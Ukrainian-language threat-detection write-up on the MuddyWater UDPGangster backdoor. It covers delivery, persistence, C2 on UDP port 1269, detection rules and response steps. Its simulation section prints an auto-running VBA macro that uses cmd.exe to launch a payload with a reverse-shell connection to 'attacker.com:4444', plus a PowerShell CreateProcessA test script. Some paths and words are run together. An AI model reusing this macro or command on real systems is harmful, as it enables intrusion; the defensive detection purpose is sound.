Атаки UDPGangster поширюються по кількох країнах
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
UDPGangster – це бекдор на основі UDP, який використовується групою загроз MuddyWater для віддаленого керування хостами Windows. Початкова компрометація відбувається через шкідливий документ Word, що використовує макроси VBA для популяризації і запуску корисного навантаження. Шкідливе програмне забезпечення здійснює масштабні перевірки, спрямовані на уникнення аналізу, і підтримує стійкість, копіюючи себе в директорію AppData користувача та створюючи ключ автозапуску. Останні кампанії спостерігалися з метою користувачів у Туреччині, Ізраїлі та Азербайджані.
Розслідування
FortiGuard Labs дослідили фішингові електронні листи, вбудований макрос VBA, випущений виконуваний файл і його техніки збереження. Вони витягли індикатори, такі як шляхи файлів, записи реєстру автозапуску, назви м’ютексів і пов’язану інфраструктуру C2. Кореляція IP-адрес, доменів і шляхів PDB дозволила аналітикам пов’язати цю активність з попередніми операціями MuddyWater.
Запобігання
Кроки з пом’якшення включають запровадження блокування макросів або надання повноцінного навчання користувачам, щоб запобігти виконанню макросів, а також розгортання засобів захисту на кінцевих точках, які стежать за підозрілими записами файлів у публічних або профільних папках користувачів, а також за модифікаціями ключів автозапуску реєстру. Мережеві команди повинні моніторити підозрілий UDP-трафік на порту 1269 і блокувати відомі шкідливі IP-адреси та домени, щоб порушити канали C2.
Відповідь
Коли виявлена активність UDPGangster, ізолюйте уражену кінцеву точку, зберіть несталеві дані пам’яті та повні образи дисків, і шукайте бекдор та пов’язані артефакти. Заблокуйте ідентифіковану інфраструктуру C2, проведіть всебічний кримінальний аналіз, щоб виявити будь-які додаткові скомпрометовані системи, та оновіть сигнатури безпеки для виявлення як шкідливих макросів-документів, так і бекдорівської загрози.
Потік Атаки
Виявлення
Виявлення C2 комунікацій UDPGangster через UDP порт 1269 [Windows Network Connection]
Перегляд
Віддалене виконання команд UDPGangster через CreateProcessA і cmd.exe [Створення процесу Windows]
Перегляд
Виявлення створення м’ютекса UDPGangster [Windows Sysmon]
Перегляд
IOCs (SourceIP) для виявлення: Кампанії UDPGangster націлені на кілька країн
Перегляд
IOCs (DestinationIP) для виявлення: Кампанії UDPGangster націлені на кілька країн
Перегляд
Виконання Симуляції
Передумова: Перевірка на відповідність Телеметрії та Базових вимог повинна бути пройдена.
Чому: Цей розділ детально описує точне виконання техніки супротивників (TTP), створеної для запуску правила виявлення. Команди та опис ПОВИННІ безпосередньо відображати виявлені TTP і прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.
-
Опис Атаки та Команди:
Атакуючий доставляє шкідливий документ Word, що містить макрос VBA. Макрос звертається до API WindowsCreateProcessAщоб створитиcmd.exeі виконати корисне навантаження UDPGangster (udp_gangster.exe). Корисне навантаження встановлює зворотний шелл на сервер C2 атакуючого. Оскільки макрос явно передає рядок ‘CreateProcessA’ і буквальнеcmd.exeу командному рядку, то правило виявлення відповідатиме.-
Макрос VBA (спрощений) демонструє виклик API:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Розгортайте макрос, відкрийте документ та дозвольте виконання макроса. Подія створення процесу міститиме:
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Сценарій регресійного тестування: Наведений нижче PowerShell-скрипт відтворює точну телеметрію без необхідності в документі Word. Він звертається до нативного API Win32
CreateProcessAчерезAdd-Type.# Регресійний тест: прямий виклик CreateProcessA з cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Команди очищення: Видалити артефакт, створений під час симуляції.
# Видалити тимчасовий журнал, створений симуляцією Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue